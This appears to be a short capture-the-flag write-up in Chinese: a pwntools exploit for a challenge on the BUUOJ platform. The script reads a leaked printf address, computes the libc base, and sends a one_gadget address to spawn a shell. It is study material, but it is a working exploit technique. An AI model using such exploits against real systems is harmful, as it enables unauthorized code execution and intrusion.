程序输出printf函数地址
可以利用工具one_gadget计算libc基址
from pwn import *
#p = process('./one_gadget')
p = remote("node3.buuoj.cn",26742)
out = p.recv()
addr = int(out[out.find('0x')+2:out.find('0x')+14],16)
log.success(addr)
local_libc = ELF('./libc-2.29.so')
printf_addr = local_libc.symbols['printf']
libc_base = addr - printf_addr
log.success(libc_base)
one_gadget = 0x106ef8
p.sendline(str(one_gadget+libc_base))
p.interactive()
